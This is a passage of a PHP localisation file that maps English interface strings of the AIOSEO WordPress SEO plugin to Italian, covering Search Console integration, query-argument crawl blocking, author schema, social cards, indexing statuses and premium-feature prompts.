rimosso da Google Search Console. Se ciò è avvenuto per errore, fai clic qui sotto per risincronizzare e correggere il problema.','Your site was removed from Google Search Console.'=>'Il tuo sito è stato rimosso da Google Search Console.','%1$s can now verify whether your site is correctly verified with Google Search Console and that your sitemaps have been submitted correctly. Connect with Google Search Console now to ensure your content is being added to Google as soon as possible for increased rankings.'=>'%1$s può ora controllare se il tuo sito è stato verificato correttamente con Google Search Console e se le sitemap sono state inviate correttamente. Collegati subito a Google Search Console per assicurarti che i tuoi contenuti vengano aggiunti a Google il prima possibile per migliorare i posizionamenti.','Have you connected your site to Google Search Console?'=>'Hai collegato il tuo sito a Google Search Console?','Awesome! Google Search Console is connected to your site. This will help you monitor and maintain your site\'s presence in Google Search results.'=>'Fantastico! Google Search Console è collegato al tuo sito. Questo ti aiuterà a monitorare e mantenere la presenza del tuo sito nei risultati della ricerca di Google.','Google Search Console is Connected'=>'Google Search Console è collegato','Sync your site with Google Search Console and get valuable insights right inside your WordPress dashboard. Track keyword rankings and search performance for individual posts with actionable insights to help you rank higher in search results!'=>'Sincronizza il tuo sito con Google Search Console e ottieni informazioni preziose direttamente nella tua bacheca di WordPress. Tieni traccia delle posizioni delle parole chiave e delle prestazioni di ricerca per i singoli post, con informazioni utili per aiutarti a posizionarti meglio nei risultati della ricerca!','Connect Your Site with Google Search Console'=>'Connetti il tuo sito con Google Search Console','Your WordPress URL is invalid. Please check the format and try again.'=>'Il tuo URL di WordPress non è valido. Controlla il formato e riprova.','Super-charge your SEO with Link Assistant! Get relevant suggestions for adding internal links to older content as well as finding any orphaned posts that have no internal links. Use our reporting feature to see all link suggestions or add them directly from any page or post.'=>'Potenzia la tua SEO con Link Assistant! Ricevi suggerimenti pertinenti per aggiungere link interni ai contenuti più vecchi e per trovare articoli orfani e privi di link interni. Usa la nostra funzione di report per vedere tutti i suggerimenti di link o aggiungili direttamente da qualsiasi pagina o articolo.','Our Redirection Manager allows you to create and manage redirects for 404s or modified posts.'=>'Il nostro Gestore di reindirizzamenti ti permette di creare e gestire i reindirizzamenti per i 404 o per gli articoli modificati.','Add IndexNow support to instantly notify search engines when your content has changed. This helps the search engines to prioritize the changes on your website and helps you rank faster.'=>'Aggiungi il supporto di IndexNow per notificare istantaneamente ai motori di ricerca le modifiche apportate ai tuoi contenuti. Questo aiuta i motori di ricerca a dare priorità alle modifiche apportate al tuo sito web e ti aiuta a posizionarti più velocemente.','Your site is currently not connected to %1$s. In order to analyze your site, you must first connect to our server. Please connect to %1$s and try again.'=>'Il tuo sito non è attualmente connesso a %1$s. Per poter analizzare il tuo sito, devi prima connetterti al nostro server. Connettiti a %1$s e riprova.','We are unable to retrieve the content for your site. This could be due to a number of reasons, but most likely the connection timed out while our analyzer was trying to access it. Please try again soon.'=>'Non siamo in grado di recuperare i contenuti del tuo sito. Questo potrebbe essere dovuto a diversi motivi, ma molto probabilmente la connessione si è interrotta mentre il nostro analizzatore cercava di accedervi. Riprova tra poco.','The SEO analysis failed due to an unknown error. Please wait a moment and try again. If the issue continues to occur, then please contact our support team.'=>'L\'analisi SEO non è riuscita a causa di un errore sconosciuto. Aspetta un momento e riprova. Se il problema persiste, contatta il nostro team di assistenza.','It looks like you are accessing our analyzer from a local install. Our SEO analyzer does not work on local installs because we are unable to access it. Please try again once the site has been published.'=>'Sembra che tu stia accedendo al nostro analizzatore da una installazione locale. Il nostro analizzatore SEO non funziona sulle installazioni locali perché non possiamo accedervi. Riprova una volta che il sito è stato pubblicato.','Connect to AIOSEO'=>'Collegati ad AIOSEO','Unblock Query Args'=>'Sblocca gli argomenti delle query','Unblock Query Arg'=>'Sblocca Query Arg','Unblock'=>'Sblocca','To prevent a greedy regular expression you can use %1$s to anchor it to the start of the Query Arg. For example: %2$s'=>'Per evitare un\'espressione normale avida, puoi usare %1$s per ancorarla all\'inizio della Query Arg. Ad esempio: %2$s','This feature allows you to log all query arguments that are used on your site and block them. This will help prevent search engines from crawling every variation of your pages with unrecognized query arguments and help save search engine crawl quota.'=>'Questa caratteristica ti permette di accedere a tutti gli argomenti della query utilizzati sul tuo sito e di bloccarli. In questo modo eviterai che i motori di ricerca effettuino il crawling di ogni variante delle tue pagine con argomenti di ricerca non riconosciuti e salverai la quota di crawl dei motori di ricerca.','This action will unblock this query arg.'=>'Questa azione sbloccherà l\'argomento della query.','This action will unblock the selected query args.'=>'Questa azione sblocca gli argomenti della query selezionati.','This action will permanently remove this query arg.'=>'Questa azione rimuoverà in modo permanente l\'argomento della query.','This action will permanently remove the selected query args.'=>'Questa azione rimuove in modo permanente gli argomenti della query selezionati.','This action will block this query arg.'=>'Questa azione bloccherà l\'argomento della query.','This action will block the selected query args.'=>'Questa azione bloccherà gli argomenti della query selezionati.','The query arg you\'ve entered is already being blocked.'=>'L\'argomento della query che hai inserito è già stato bloccato.','The query arg has been successfully unblocked.'=>'La query arg è stata sbloccata con successo.','The query arg has been successfully deleted.'=>'La query arg è stata eliminata con successo.','The query arg has been successfully added to the blocklist.'=>'L\'argomento della query è stato aggiunto con successo all\'elenco di elementi da bloccare.','The "Block key" blocks both the key and all of its values, while "Block Key & values" lets you selectively block only certain values, without blocking the entire key.'=>'"Blocca chiave" blocca sia la chiave che tutti i suoi valori, mentre "Blocca chiave e valori" ti permette di bloccare selettivamente solo alcuni valori, senza bloccare l\'intera chiave.','Query Arg Monitoring'=>'Monitoraggio query Arg','Logs Retention'=>'Conservazione dei log','Enter one or multiple values'=>'Inserisci uno o più valori','Delete Query Args'=>'Elimina gli argomenti della query','Delete Query Arg'=>'Elimina l\'argomento della query','Blocked by regex: '=>'Bloccato da regex: ','Block Query Args'=>'Blocco argomenti della query','Block Query Arg'=>'Blocco Query Arg','Block Key & Value'=>'Chiave e valore del blocco','Block Key'=>'Chiave di blocco','Are you sure you want to unblock this query arg?'=>'Confermi di voler sbloccare questo argomento della query?','Are you sure you want to unblock these query args?'=>'Sei sicuro di voler sbloccare gli argomenti della query?','Are you sure you want to block this query arg?'=>'Sei sicuro di voler bloccare questo argomento della query?','Are you sure you want to block these query args?'=>'Sei sicuro di voler bloccare gli argomenti della query?','An error occurred while trying to remove the query arg from the blocklist. Please try again later.'=>'Si è verificato un errore durante l\'eliminazione dell\'argomento della query dall\'elenco dei blocchi. Riprova più tardi.','An error occurred while trying to delete the query arg. Please try again later.'=>'Si è verificato un errore durante il tentativo di eliminare l\'argomento della query. Riprova più tardi.','An error occurred while trying to add the query arg to the blocklist. Please try again later.'=>'Si è verificato un errore durante il tentativo di aggiungere l\'argomento della query all\'elenco dei blocchi. Riprova più tardi.','Actions'=>'Azioni','Blocked'=>'Bloccato','Unblocked'=>'Sbloccato','We\'ve made some significant changes to how we monitor Query Args for our Crawl Cleanup feature. Instead of DISABLING all query args and requiring you to add individual exceptions, we\'ve now changed it to ALLOW all query args by default with the option to easily block unrecognized ones through our new log table.'=>'Abbiamo apportato alcune modifiche significative al modo in cui monitoriamo gli argomenti delle query per la nostra caratteristica Pulizia Crawl. Invece di DSABILITARE tutti gli argomenti delle query e di richiedere l\'aggiunta di singole eccezioni, ora abbiamo modificato il sistema in modo da CONSENTIRE tutti gli argomenti delle query come predefinito, con l\'opzione di bloccare facilmente quelli non riconosciuti attraverso la nostra nuova tabella di log.','Crawl Cleanup changes you should know about'=>'I cambiamenti di Crawl Cleanup che dovresti conoscere','Sample featured image'=>'Esempio di immagine in evidenza','Post link (link as anchor text).'=>'Pubblica un link (link come testo di ancoraggio).','Post link (name as anchor text).'=>'Pubblica un link (il nome come testo di ancoraggio).','The featured image of the current page/post.'=>'L\'immagine in evidenza della pagina/articolo corrente.','You can edit the "Focus Keyphrase" and view information about "Page Analysis" on the admin side.'=>'Puoi modificare la "Frase chiave di interesse" e visualizzare le informazioni sull\'"Analisi della pagina" nel lato amministratore.','X Title'=>'Titolo X','X Image'=>'Immagine di X','X Description'=>'Descrizione di X','X cards by default will use the data defined below. If no data is set, X will instead pick up the data set on the Facebook tab.'=>'Le card di X utilizzano i dati definiti di seguito come impostazione predefinita. Se non sono stati impostati dati, X prenderà i dati impostati nella scheda Facebook.','X Card Type'=>'Tipo di card di X','X (Twitter) Preview'=>'Anteprima di X (Twitter)','X (Twitter)'=>'X (Twitter)','Widgets'=>'Widget','Whether to display the reviewer image or not. Defaults to %1$s.'=>'Visualizza o meno l\'immagine del revisore. Predefinito è %1$s.','Whether to display the popup when someone hovers over the name or not. Defaults to %1$s.'=>'Visualizza o meno il popup al passaggio del mouse sul nome. Predefinito a %1$s.','Whether to display the author image or not. Defaults to %1$s.'=>'Visualizza o meno l\'immagine dell\'autore. Predefinito a %1$s.','Whether to display the "Written By" label or not. Defaults to %1$s.'=>'Visualizza o meno l\'etichetta "Scritto da". Predefinito è %1$s.','Whether to display the "Reviewed By" label or not. Defaults to %1$s.'=>'Visualizza o meno l\'etichetta "Revisionato da". Predefinito è %1$s.','Whether the compact author bio should be output or not. Defaults to %1$s.'=>'Visualizza o meno la biografia compatta dell\'autore. Predefinito è %1$s.','vote'=>'voto' . "\0" . 'voti','Use the following shortcode to display the reviewer name.'=>'Usa il seguente shortcode per visualizzare il nome del revisore.','Use the following shortcode to display the author name.'=>'Usa il seguente shortcode per visualizzare il nome dell\'autore.','Use the following shortcode to display the author bio.'=>'Usa il seguente shortcode per visualizzare la biografia dell\'autore.','Use the following PHP code anywhere in your theme\'s post templates to display a bio for the post reviewer.'=>'Utilizza il seguente codice PHP in un punto qualsiasi dei template del tuo tema per visualizzare la biografia del recensore della pubblicazione.','Use the following PHP code anywhere in your theme\'s post templates to display a bio for the post author.'=>'Utilizza il seguente codice PHP in qualsiasi punto dei template del tuo tema per visualizzare la biografia dell\'autore della pubblicazione.','Use the following PHP code anywhere in your theme\'s post templates or author archive template to display a bio for the author.'=>'Utilizza il seguente codice PHP in un punto qualsiasi dei template delle pubblicazioni o dell\'archivio degli autori del tuo tema per visualizzare una biografia dell\'autore.','The Start Date must be lower than the End Date.'=>'La data di inizio deve essere antecedente alla data di fine.','The following function arguments can be used to override the default settings:'=>'I seguenti argomenti della funzione possono essere utilizzati per ignorare le impostazioni predefinite:','Start Date and End Date must be different.'=>'La data di inizio e la data di fine devono essere diverse.','Show X Author'=>'Mostra X Autore','Shortcodes'=>'Shortcode','SERP: Search Engine Results Page preview. Your site\'s potential appearance in Google search results. Final display may vary, but this preview closely resembles it.'=>'SERP: Anteprima della pagina dei risultati del motore di ricerca. Il potenziale aspetto del tuo sito nei risultati della ricerca di Google. La visualizzazione finale può variare, ma questa anteprima le assomiglia molto.','SERP Preview'=>'Anteprima della SERP','Select the post types for which you want to automatically inject an author bio.'=>'Seleziona i post type / tipi di contenuto per i quali vuoi incorporare automaticamente la biografia dell\'autore.','Schedule'=>'Programma','Press enter to insert a URL'=>'Premi invio per inserire un URL','IP Address'=>'Indirizzo IP','Installs AIOSEO Author SEO (E-E-A-T)'=>'Installa AIOSEO Author SEO (E-E-A-T)','Gutenberg Blocks'=>'Blocchi Gutenberg','Globally control the title, alt text, description and filename for attachment pages & images that are embedded in your content.'=>'Controlla a livello globale il titolo, il testo alt, la descrizione e il nome del file delle pagine dell\'allegato e delle immagini incorporate nei tuoi contenuti.','Generate an XML Sitemap specifically for videos on your site to help search engines find them.'=>'Genera una Sitemap XML specifica per i video presenti sul tuo sito per aiutare i motori di ricerca a trovarli.','Enable X Card'=>'Abilita la X card','Edit X Meta Data'=>'Modifica i meta dati di X','Default Term X Image'=>'Immagine predefinita del termine su X','Default Post X Image'=>'Immagine predefinita del post su X','Choose whether %1$s should automatically append a compact author bio at the end of every post. You can also manually insert the author bio using the Author Bio block.'=>'Scegli se %1$s deve aggiungere automaticamente una biografia compatta dell\'autore alla fine di ogni pubblicazione. È possibile inserire la biografia dell\'autore anche manualmente, utilizzando il blocco biografia dell\'autore.','Boost your SEO performance by highlighting the professional expertise and trustworthiness of your authors, aligning with Google\'s E-E-A-T standards.'=>'Aumenta le prestazioni SEO mettendo in evidenza la professionalità e l\'affidabilità dei tuoi autori, in linea con gli standard E-E-A-T di Google.','Append Author Bio to Posts'=>'Aggiungi la bio dell\'autore alle pubblicazioni','About 61,000,000,000 results (0.40 seconds)'=>'Circa 61.000.000.000 di risultati (0,40 secondi)','%1$s %2$s'=>'%1$s %2$s','OptinMonster'=>'OptinMonster','MonsterInsights Free'=>'MonsterInsights Free','Installs MonsterInsights Free'=>'Installa MonsterInsights Free','Installs Broken Link Checker'=>'Installa Broken Link Checker','Installs AIOSEO Video Sitemap'=>'Installa AIOSEO Video Sitemap','Installs AIOSEO REST API'=>'Installa AIOSEO REST API','Installs AIOSEO Redirects'=>'Installa AIOSEO Redirects','Installs AIOSEO News Sitemap'=>'Installa AIOSEO News Sitemap','Installs AIOSEO Local SEO'=>'Installa AIOSEO Local SEO','Installs AIOSEO Link Assistant'=>'Installa AIOSEO Link Assistant','Installs AIOSEO Index Now'=>'Installa AIOSEO Index Now','Installs AIOSEO Image SEO'=>'Installa AIOSEO Image SEO','Get the best tool to monitor your site for broken links and easily fix them to improve your SEO.'=>'Ottieni lo strumento migliore per monitorare il tuo sito alla ricerca di link non funzionanti e correggerli facilmente per migliorare la tua SEO.','Generate New SEO %1$s'=>'Genera nuovo SEO %1$s','Broken Link Checker by AIOSEO is an essential tool for ensuring that all internal and external links on your website are functioning correctly. Quickly check your site for broken links and easily fix them to improve SEO.'=>'Broken Link Checker di AIOSEO è uno strumento essenziale per garantire che tutti i link interni ed esterni del tuo sito web funzionino correttamente. Controlla in pochi clic la presenza di link non funzionanti sul tuo sito e risolvili per migliorare la SEO.','Broken Link Checker'=>'Controllo dei link rotti',' and %1$s'=>' e %1$s','Skip %1$s Deactivate'=>'Salta %1$s Disattiva','Submit %1$s Deactivate'=>'Invia %1$s Disattiva','If you have a moment, please share why you are deactivating %1$s:'=>'Se hai un momento, condividi il motivo per cui stai disattivando %1$s:','Quick Feedback'=>'Feedback rapido','Please share the reason'=>'Condividi il motivo','It\'s a temporary deactivation'=>'Si tratta di una disattivazione temporanea','I couldn\'t get the plugin to work'=>'Non sono riuscito a far funzionare il plugin','Please share which plugin'=>'Condividi quale plugin','I\'m switching to a different plugin'=>'Sto passando a un altro plugin','I no longer need the plugin'=>'Non ho più bisogno del plugin','Please select an option'=>'Seleziona una opzione','Update Author SEO (E-E-A-T)'=>'Aggiorna il SEO degli autori (E-E-A-T)','Unlock Author SEO (E-E-A-T)'=>'Sblocca Author SEO (E-E-A-T)','The URL of the school, college, or university where the author studied.'=>'L\'URL della scuola, del college o dell\'università in cui l\'autore ha studiato.','The URL of the item the author knows about (e.g. "https://amazon.com").'=>'L\'URL dell\'elemento di cui l\'autore è a conoscenza (ad esempio "https://amazon.com").','The school, college, or university where the author studied.'=>'La scuola, il college o l\'università in cui l\'autore ha studiato.','The organization the author works for.'=>'L\'organizzazione per cui l\'autore lavora.','The name of the item the author knows about (e.g. "Amazon").'=>'Il nome dell\'elemento di cui l\'autore è a conoscenza (ad esempio "Amazon").','The following settings will be added directly to an author\'s schema meta data via the %1$sknowsAbout%2$s property. This property helps with the Experience aspect of Google\'s E-E-A-T guidelines. After setting the global options here, you can add them directly in an authors profile page.'=>'Le seguenti impostazioni saranno aggiunte direttamente ai meta dati dello schema di un autore tramite la proprietà %1$sknowsAbout%2$s. Questa proprietà è utile per l\'aspetto dell\'Esperienza delle linee guida E-E-A-T di Google. Dopo aver impostato le opzioni globali qui, puoi aggiungerle direttamente nella pagina del profilo dell\'autore.','The fields below provide structured information for search engines about the current author. By filling out these fields, you will enhance your online presence and improve search engine visibility. This increases the chances of your author details appearing prominently in search results, making it easier for readers, publishers, and media representatives to discover and connect with you.'=>'I campi sottostanti forniscono ai motori di ricerca informazioni strutturate sul corrente autore. Compilando questi campi, migliorerai la tua presenza online e la visibilità sui motori di ricerca. In questo modo aumenterai le possibilità che i tuoi dati di autore appaiano in primo piano nei risultati della ricerca, rendendo più facile per i lettori, gli editori e i rappresentanti dei media scoprirti e mettersi in contatto con te.','School, college, or university URL'=>'URL della scuola, del college o dell\'università','Same As URLs'=>'Come gli URL','Reviewed By Schema'=>'Recensito da Schema','Optimize your site for Google\'s E-E-A-T ranking factor by proving your writer\'s expertise through author schema markup and new UI elements.'=>'Ottimizza il tuo sito per il fattore di ranking E-E-A-T di Google dimostrando l\'esperienza del tuo autore attraverso lo schema markup e i nuovi elementi dell\'interfaccia utente.','Learn more about Author SEO (E-E-A-T)'=>'Approfondisci riguardo Author SEO (E-E-A-T)','Indexing not allowed, blocking robots.txt rule detected'=>'L\'indicizzazione non è consentita, è stata rilevata una regola robots.txt bloccante','Enter a URL and press enter'=>'Inserisci un URL e premi invio','Enable Author SEO (E-E-A-T) on Your Site'=>'Abilita Author SEO (E-E-A-T) sul tuo sito','Enable Author Info'=>'Abilita le informazioni sull\'autore','Employer'=>'Datore di lavoro','E-E-A-T for Higher Rankings'=>'E-E-A-T per un posizionamento più alto','Author SEO (E-E-A-T) is a %1$s Feature'=>'Author SEO (E-E-A-T) è una caratteristica di %1$s','Author SEO (E-E-A-T)'=>'Author SEO (E-E-A-T)','Author SEO'=>'Author SEO','Author Schema'=>'Schema autore','Author Info (E-E-A-T)'=>'Info sull\'autore (E-E-A-T)','Author Experience Topics (E-E-A-T)'=>'Argomenti dell\'esperienza dell\'autore (E-E-A-T)','Author Bio Block'=>'Blocco Bio dell\'autore','Alumni Of'=>'Alumni di','Additional URLs to help identify the item (e.g. "https://en.wikipedia.org/wiki/Amazon_(company)").'=>'URL aggiuntivi per identificare l\'elemento (ad esempio "https://en.wikipedia.org/wiki/Amazon_(azienda)").','Add Item'=>'Aggiungi elemento','Activate Author SEO (E-E-A-T)'=>'Attiva Author SEO (E-E-A-T)','Yoast SEO'=>'Yoast SEO','Unlock Network Tools'=>'Sblocca Network Tools','Unlock Domain Activations'=>'Sblocca le attivazioni del dominio','Top-rated WordPress donation and fundraising plugin. Over 10,000+ non-profit organizations and website owners use Charitable to create fundraising campaigns and raise more money online.'=>'Il più apprezzato plugin di WordPress per donazioni e raccolte fondi. Oltre 10.000 organizzazioni no-profit e proprietari di siti web usano Charitable per creare campagne di raccolta fondi e raccogliere denaro online.','SEOPress'=>'SEOPress','Rank Math SEO'=>'Rank Math SEO','Network Tools is a %1$s Feature'=>'Network Tools è una caratteristica di %1$s','Leading WordPress backup & site migration plugin. Over 1,500,000+ smart website owners use Duplicator to make reliable and secure WordPress backups to protect their websites. It also makes website migration really easy.'=>'Plugin di WordPress leader per il backup e la migrazione dei siti. Più di 1.500.000 brillanti proprietari di siti web usano Duplicator per eseguire backup di WordPress affidabili e sicuri e proteggere i loro siti web. In più rende la migrazione dei siti web davvero facile.','Install Free Plugin'=>'Installa il plugin gratuito','Import your Local SEO settings and locations from other plugins.'=>'Importa le impostazioni e le località di Local SEO da altri plugin.','Import Local SEO From Other Plugins'=>'Importa Local SEO da altri plugin','Domain Activations is an %1$s Feature'=>'L\'attivazione dei domini è una caratteristica di %1$s','Add License Key'=>'Aggiungi la chiave di licenza','Update (Don\'t Modify Date)'=>'Aggiorna (non modificare la data)','Save (Don\'t Modify Date)'=>'Salva (non modificare la data)','Unavailable for Legal Reasons'=>'Non disponibile per motivi legali','Temporary Redirect'=>'Reindirizzamento temporaneo','Service Unavailable'=>'Servizio non disponibile','See Other'=>'Vedi altro','Permanent Redirect'=>'Reindirizzamento permanente','Not Modified'=>'Non modificato','Not Implemented'=>'Non implementato','Internal Server Error'=>'Errore interno del server','Install'=>'Installa','I\'m a Teapot'=>'Sono una teiera','HTTP Version Not Supported'=>'Versione HTTP non supportata','Gone'=>'Andata','Get Started with Google Analytics for Free'=>'Inizia a usare Google Analytics gratuitamente','Gateway Timeout'=>'Gateway Timeout','Bad Request'=>'Bad Request','Bad Gateway'=>'Bad Gateway','You have been using the %2$s Google Analytics V3 (Universal Analytics) integration which has been deprecated by Google and is no longer supported. This may affect your website\'s data accuracy and performance.%1$sTo ensure a seamless analytics experience, we recommend migrating to %3$s, a powerful analytics solution.%1$s%3$s offers advanced features such as real-time tracking, enhanced e-commerce analytics, and easy-to-understand reports, helping you make informed decisions to grow your online presence effectively.%1$sClick the button below to be redirected to the %3$s setup process, where you can start benefiting from its robust analytics capabilities immediately.'=>'Hai utilizzato l\'integrazione di %2$s con Google Analytics V3 (Universal Analytics) che è stata deprecata da Google e non è più supportata. Questo potrebbe influire sull\'accuratezza dei dati e sulle prestazioni del tuo sito web.%1$sPer garantire un\'esperienza analitica senza interruzioni, ti consigliamo di migrare a %3$s, una potente soluzione analitica.%1$s%3$s offre caratteristiche avanzate come il monitoraggio in tempo reale, l\'analisi dell\'e-commerce migliorata e report di facile comprensione, aiutandoti a prendere decisioni informate per far crescere la tua presenza online in modo efficace.%1$sFai clic sul pulsante qui sotto per essere reindirizzato al processo di configurazione di %3$s, dove potrai iniziare a beneficiare immediatamente delle sue solide capacità di analisi.','Universal Analytics V3 Deprecation Notice'=>'Avviso di obsolescenza di Universal Analytics V3','Please keep only one %1$s plugin active, otherwise, you might lose your rankings and traffic. %2$sClick here to Deactivate.%3$s'=>'Ti consigliamo di mantenere attivo un solo plugin di %1$s, altrimenti potresti perdere posizioni e traffico. %2$sFai clic qui per disattivarlo.%3$s','User-Declared Canonical:'=>'Canonico dichiarato dall\'utente:','Unknown user agent'=>'User agent sconosciuto','Unknown robots.txt state, typically because the page wasn\'t fetched or found, or because robots.txt itself couldn\'t be reached'=>'Stato sconosciuto di robots.txt, in genere perché la pagina non è stata recuperata o trovata, o perché robots.txt stesso non è raggiungibile','Unknown indexing status'=>'Stato dell\'indicizzazione sconosciuto','Unknown fetch state'=>'Stato del recupero sconosciuto','This specifies whether your website\'s robots.txt file allows Googlebot to crawl the page.'=>'Questo specifica se il file robots.txt del sito web consente a Googlebot di effettuare la scansione della pagina.','This specifies whether your website\'s robots meta tag allows Googlebot to index the page.'=>'Specifica se il meta tag robots del sito web consente a Googlebot di indicizzare la pagina.','This shows the date and time when Google\'s crawler (Googlebot) last visited and crawled the page.'=>'Mostra la data e l\'ora in cui il crawler di Google (Googlebot) ha effettuato l\'ultima visita e scansionato la pagina.','The page is invalid or has errors. Please check %1$sGoogle Search Console%2$s for more details.'=>'La pagina non è valida o presenta errori. Seleziona %1$sGoogle Search Console%2$s per maggiori dettagli.','The page is indexed.'=>'La pagina è indicizzata.','The page has not been indexed. Please check %1$sGoogle Search Console%2$s for more details.'=>'La pagina non è stata indicizzata. Controlla %1$sGoogle Search Console%2$s per maggiori dettagli.','Successful fetch'=>'Recupero riuscito','Soft 404'=>'Soft 404','Shows the canonical URL specified by you (the website owner). Canonical URLs help indicate the preferred version of a page, especially for duplicate content.'=>'Mostra l\'URL canonico specificato da te (il proprietario del sito web). Gli URL canonici aiutano a indicare la versione preferita di una pagina, soprattutto nel caso di contenuti duplicati.','Server error (5xx)'=>'Errore del server (5xx)','Reveals the canonical URL chosen by Googlebot. Sometimes, Googlebot may select a different canonical URL than the user-declared one.'=>'Rivela l\'URL canonico scelto da Googlebot. A volte Googlebot può selezionare un URL canonico diverso da quello dichiarato dall\'utente.','Redirection error'=>'Errore di reindirizzamento','Page Fetch:'=>'Recupero della pagina:','Not found (404)'=>'Non trovato (404)','Never'=>'Mai','Mobile user agent'=>'User Agent per mobile','Last Crawl:'=>'Ultima scansione:','Invalid URL'=>'URL non valido','Internal error'=>'Errore interno','Indicates whether Google successfully fetched the page during its last visit.'=>'Indica se Google ha recuperato con successo la pagina durante la sua ultima visita.','Indicates whether Google crawled the page as a mobile or desktop user agent. This is important because Google uses mobile-first indexing for most websites.'=>'Indica se Google ha effettuato la scansione della pagina come user agent mobile o desktop. Questo è importante perché Google utilizza l\'indicizzazione mobile-first per la maggior parte dei siti web.','Indicates the index status of the page in Search Statistics. This is the verdict result for the analysis.'=>'Indica lo stato di indicizzazione della pagina di ricerca nelle Statistiche di ricerca. Questo è il risultato del verdetto per l\'analisi.','Indexing not allowed, \'noindex\' detected in \'X-Robots-Tag\' http header'=>'L\'indicizzazione non consentita, \'noindex\' è stato rilevato nell\'header http \'X-Robots-Tag','Indexing not allowed, \'noindex\' detected in \'robots\' meta tag'=>'Indicizzazione non consentita, \'noindex\' rilevato nel meta tag \'robots\'','Indexing Allowed?'=>'Indicizzazione consentita?','Indexing allowed'=>'Indicizzazione consentita','Indexed'=>'Indicizzato','Index Status:'=>'Index Status:','Headline Score'=>'Punteggio dell\'intestazione','Google-Selected Canonical:'=>'Canonical selezionato da Google:','Enter a custom field/taxonomy name...'=>'Inserisci il nome di un campo/tassonomia personalizzato...','Desktop user agent'=>'User agent per il desktop','Crawled As:'=>'Scansionato come:','Crawl blocked by robots.txt'=>'Scansione bloccata da robots.txt','Crawl Allowed?'=>'Scansione consentita?','Crawl allowed by robots.txt'=>'Scansione consentita da robots.txt','Blocked due to unauthorized request (401)'=>'Bloccato a causa di una richiesta non autorizzata (401)','Blocked due to other 4xx issue (not 403, 404)'=>'Bloccato a causa di un altro problema 4xx (non 403, 404)','Blocked due to access forbidden (403)'=>'Bloccato a causa di un accesso vietato (403)','Blocked by robots.txt'=>'Bloccato da robots.txt','TruSEO scoring can improve your search engine rankings. To see TruSEO scores for your published posts, enable at least one post type by turning on "Show in Search Results" in the Search Appearance settings.'=>'Il punteggio TruSEO può migliorare il posizionamento sui motori di ricerca. Per vedere i punteggi TruSEO dei tuoi contenuti pubblicati, abilita almeno un tipo di contenuto attivando la voce "Mostra nei risultati della ricerca" nelle impostazioni dell\'Aspetto della ricerca.','It looks like you haven\'t selected any post types yet!'=>'Sembra che tu non abbia ancora selezionato nessun tipo di contenuto!','For some crawlers, encountering conflicting "Crawl-delay" might lead to unpredictable behavior.'=>'Per alcuni crawler, l\'incontro con "Crawl-delay" in conflitto potrebbe portare a un comportamento imprevedibile.','Enable Post Types'=>'Abilita i post type / tipo di contenuto','Crawl-delay must be a number starting from 1.'=>'Il crawl-delay deve essere un numero a partire da 1.','Video Sitemaps is a %1$s Feature'=>'Sitemap Video è una funzionalità di %1$s','Unlock Video Sitemaps'=>'Sblocca le Sitemap Video','Unlock SEO Revisions'=>'Sblocca le revisioni SEO','Unlock Search Statistics'=>'Sblocca le statistiche di ricerca','Unlock Schema Markup Generator'=>'Sblocca il generatore di Markup Schema','Unlock Schema Generator'=>'Sblocca il generatore di Schema','Unlock Redirects'=>'Sblocca Reindirizzamenti','Unlock Post Tracking'=>'Sblocca Monitoraggio articoli','Unlock News Sitemaps'=>'Sblocca Sitemap News','Unlock Local SEO'=>'Sblocca SEO locale','Unlock Link Assistant'=>'Sblocca Link Assistant','Unlock Keyword Tracking'=>'Sblocca Monitoraggio delle parole chiave','Unlock Image SEO'=>'Sblocca SEO per immagini','Unlock Custom Taxonomies'=>'Sblocca le tassonomie personalizzate','Unlock Custom Fields'=>'Sblocca i campi personalizzati','Unlock Breadcrumb Templates'=>'Sblocca i template di Breadcrumb','Unlock All Features'=>'Sblocca tutte le funzionalità','Unlock Access Control'=>'Sblocca il Controllo accessi','This is a %1$s Feature'=>'Questa è una funzionalità di %1$s','The Video Sitemap generates an XML Sitemap for video content on your site. Search engines use this information to display rich snippet information in search results.'=>'La Sitemap Video genera una Sitemap XML per i contenuti video del tuo sito. I motori di ricerca usano queste informazioni per visualizzare i rich snippet nei risultati di ricerca.','The Google News Sitemap lets you control which content you submit to Google News and only contains articles that were published in the last 48 hours.'=>'La Sitemap News di Google ti permette di controllare quali contenuti inviare a Google News e contiene solo articoli pubblicati nelle ultime 48 ore.','Taxonomy Columns is a %1$s feature. %2$s'=>'Le colonne della tassonomia sono una funzionalità di %1$s . %2$s','SEO Revisions is a %1$s Feature'=>'Le revisioni SEO sono una funzionalità di %1$s','Search Statistics is a %1$s Feature'=>'Le statistiche di ricerca sono una funzionalità di %1$s','Schema Markup Generator is a %1$s Feature'=>'Il generatore di Markup Schema è una funzionalità di %1$s','Schema Generator is a %1$s Feature'=>'Il generatore di Schema è una funzionalità di %1$s','Reordering Headings is a %1$s Feature'=>'Il riordino dei titoli è una funzionalità di %1$s','Redirects is a %1$s Feature'=>'I reindirizzamenti sono una funzionalità di %1$s','Priority Score is a %1$s feature. %2$s'=>'Il punteggio di priorità è una funzionalità di %1$s . %2$s','Post Tracking is a %1$s Feature'=>'Il monitoraggio degli articoli è una funzionalità di %1$s','Outbound Suggestions'=>'Suggerimenti in uscita','Our Redirection Manager lets you easily create and manage redirects for broken links to avoid confusing search engines and users and prevents losing backlinks.'=>'Il nostro Redirection Manager ti permette di creare e gestire facilmente i reindirizzamenti per i link rotti, così motori di ricerca e utenti non si confondono e non perdi backlink.','OpenAI Integration is a %1$s feature. %2$s'=>'L\'integrazione OpenAI è una funzionalità di %1$s . %2$s','News Sitemaps is a %1$s Feature'=>'Sitemap News è una funzionalità di %1$s','Mark as Cornerstone'=>'Contrassegna come Contenuto cornerstone','Local SEO is a %1$s Feature'=>'La SEO locale è una funzionalità di %1$s','Local Business schema markup informs Google about your business details like name, address, phone number, hours, and price range, which can appear in a Knowledge Graph card or business carousel.'=>'Il Markup Schema Local Business informa Google sui dettagli della tua attività, come nome, indirizzo, numero di telefono, orari e fascia di prezzo. Queste informazioni possono apparire in una scheda del Knowledge Graph o in un carosello business.','Link Assistant is a %1$s Feature'=>'Link Assistant è una funzionalità di %1$s','Keyword Tracking is a %1$s Feature'=>'Il monitoraggio delle parole chiave è una funzionalità di %1$s','internal linking recommendations in Link Assistant.'=>'raccomandazioni per il linking interno in Link Assistant.','IndexNow is a %1$s feature. %2$s'=>'IndexNow è una funzionalità di %1$s . %2$s','Inbound Suggestions'=>'Suggerimenti in entrata','In order to submit a News Sitemap to Google, you must have added your site to Google’s Publisher Center and had it approved.'=>'Per inviare una Sitemap News a Google, devi aver aggiunto 